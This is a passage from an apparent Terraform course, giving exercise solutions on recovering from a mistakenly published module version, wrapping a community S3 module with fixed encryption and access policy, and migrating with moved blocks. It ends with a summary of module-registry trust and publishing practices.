It cannot be undone. The registry does not allow published versions to be deleted, and even if you deleted the tag in Git, the version would still be indexed and whoever has it cached would carry on using it.
What to do, in this order:
- Do not delete the Git tag. Deleting it creates an indexed version whose commit no longer exists: the worst of all worlds.
- Publish
v1.1.0immediately with the same content. Consumers on~> 1.0will pick it up normally. - Document it in the
CHANGELOG.md: "v2.0.0: published by mistake, content identical tov1.1.0. Do not use; there are no breaking changes." - Tell people through the team channel, because anybody on
~> 1.0will not see2.0.0, but somebody copying from the registry page will see it as "the latest version". - Prevent it:
v*tag protection on GitHub and automatic tagging from theCHANGELOGin the pipeline (module 8).
The real damage is moderate — one phantom major version — but it teaches section 8's central lesson: a pushed tag is an irreversible publication.
Solution 3
Point 1:
| Criterion | Own from scratch | Community, direct | Wrapper around the community one |
|---|---|---|---|
| Interface consumers see | 4-5 variables | 80 variables | 4-5 variables |
| Mandatory policy | Inside, guaranteed | It has to be repeated in every consumer | Inside, guaranteed |
| Initial effort | High | Low | Medium |
| Maintenance for new AWS features | Your responsibility | Free | Free |
| Risk of a consumer skipping encryption | None | High | None |
| Reversibility | — | Hard | High: you change the insides |
| Third-party dependency | None | Total | Encapsulated |
Point 2 — decision: the wrapper. Three arguments:
- The policy is non-negotiable and must be impossible to skip. With direct use, every consumer could omit the encryption or the public-access block; auditing that repository by repository does not scale.
- An 80-variable interface is itself a risk. Cutting it to 4 removes most of the ways to get it wrong, which is a module's greatest benefit.
- It inherits the maintenance without inheriting the dependency. If the community module changed direction or were abandoned, the insides get reimplemented and consumers never notice.
Point 3:
variable "base_name" {
description = "Naming prefix, usually '<project>-<environment>'."
type = string
nullable = false
}
variable "suffix" {
description = "Random suffix for global uniqueness of the bucket name."
type = string
nullable = false
}
variable "kms_key_arn" {
description = "ARN of EcoMarket's KMS key with which to encrypt the objects."
type = string
nullable = false
}
variable "days_to_infrequent" {
description = "Days before moving objects to infrequent-access storage."
type = number
default = 30
validation {
condition = var.days_to_infrequent >= 30
error_message = "AWS requires a minimum of 30 days before the transition to IA."
}
}
variable "tags" {
description = "Common tags applied to the bucket."
type = map(string)
default = {}
nullable = false
}A note on days_to_infrequent: the validation encodes a provider restriction in an understandable message. Without it, the error would come from the AWS API halfway through the apply, with the bucket already created.
Point 4:
# the wrapper's main.tf
locals {
bucket_name = "${var.base_name}-images-${var.suffix}"
tags = merge(var.tags, {
Module = "data-bucket"
ModuleVersion = "1.0.0"
})
}
module "bucket" {
source = "terraform-aws-modules/s3-bucket/aws"
version = "~> 4.1.0"
bucket = local.bucket_name
tags = local.tags
# ===== ECOMARKET POLICY — NOT CONFIGURABLE FROM OUTSIDE =====
versioning = {
enabled = true
}
server_side_encryption_configuration = {
rule = {
apply_server_side_encryption_by_default = {
kms_master_key_id = var.kms_key_arn
sse_algorithm = "aws:kms"
}
bucket_key_enabled = true
}
}
block_public_acls = true
block_public_policy = true
ignore_public_acls = true
restrict_public_buckets = true
attach_deny_insecure_transport_policy = true # denies HTTP
# ============================================================
lifecycle_rule = [
{
id = "images"
enabled = true
transition = [
{
days = var.days_to_infrequent # ← the only adjustable thing
storage_class = "STANDARD_IA"
}
]
expiration = {
days = 365 # policy: fixed
}
}
]
}Point 5:
It is a MAJOR change for consumers: every resource changes address, from aws_s3_bucket.this to module.bucket.aws_s3_bucket.this[0], and without help that means destroying the bucket and creating an empty one, losing all the images.
What they need in order to migrate without destroying anything is for the module itself to include the moved blocks in its 2.0.0 version:
# Inside the module, in v2.0.0
moved {
from = aws_s3_bucket.images
to = module.bucket.aws_s3_bucket.this[0]
}
moved {
from = aws_s3_bucket_versioning.images
to = module.bucket.aws_s3_bucket_versioning.this[0]
}
moved {
from = aws_s3_bucket_public_access_block.images
to = module.bucket.aws_s3_bucket_public_access_block.this[0]
}With those inside, the consumer bumps the version, runs plan and sees 0 to destroy without having to write anything. That is the difference between a major version people adopt and one that goes unadopted for years, and it is exactly the compatibility contract you will study in the next lesson. On top of that, the CHANGELOG.md must state explicitly: "BREAKING: implementation migrated to terraform-aws-modules/s3-bucket. The included moved blocks make the migration transparent. Check 0 to destroy before applying in production."
Conclusion
EcoMarket's modules can now leave the repository:
- The module registry is a catalogue, not a warehouse: it indexes GitHub repositories and Terraform downloads from there. It does not sign the code, it keeps no copies and there is no module lock file.
- Verified means commercial partner, not audited code. What really tells you something are the downloads, recent activity, the issue ratio and the presence of
examples/,CHANGELOG.mdand a licence. - The 15-point checklist boils down to three
greps: does it haveproviderblocks (a legacy module)?, does it have aprovisioner,local-execor theexternalprovider?, what provider constraints does it impose? - Somebody else's module runs with your credentials, in your process, and a
data "external"block is enough to exfiltrate the environment during aplan. Defences: read the code, pin exact versions, internal mirroring, read-only credentials forplanand a written policy of permitted sources. - Publishing in the public registry requires six things: a public GitHub repository, a
terraform-<provider>-<name>name, the standard structure at the root,x.y.ztags, a description and a licence. One repository per module. - Publishing a version is pushing a tag. Versions cannot be deleted, and moving a published tag produces silent drift between environments. It is fixed forwards, and prevented by protecting tags.
- The private alternatives are HCP Terraform's registry (
app.terraform.io/<org>/<name>/<prov>, withTF_TOKEN_…in CI), Git with tags — which allows a monorepo with//but loses version ranges — and artifacts in S3/GCS. In restricted networks, providers haveterraform providers mirrorand modules do not: the solution is an internal Git replica, internal artifacts or vendoring. terraform-docswithfail-on-diff: truein CI turns an out-of-date README into a broken build.- And the in-house-versus-community decision is hardly ever binary: wrapping a community module gives you third-party coverage and maintenance with a small interface, company policy built in, and the ability to change the implementation without any consumer noticing.
Publishing was the easy part. The hard part starts now: terraform-aws-ecomarket-network has consumers, and every change you make can break their infrastructure. In the module's final lesson, Module Composition and Versioning, you will see how leaf modules are combined under a platform module, why it is better to inject dependencies rather than have the module discover them, when to split into separate configurations rather than into modules, what MAJOR, MINOR and PATCH mean exactly when what you are versioning is infrastructure, and how to evolve a module without breaking anybody using moved blocks as a compatibility contract, deprecated variables with a warning and a CHANGELOG.md people can actually read before upgrading.
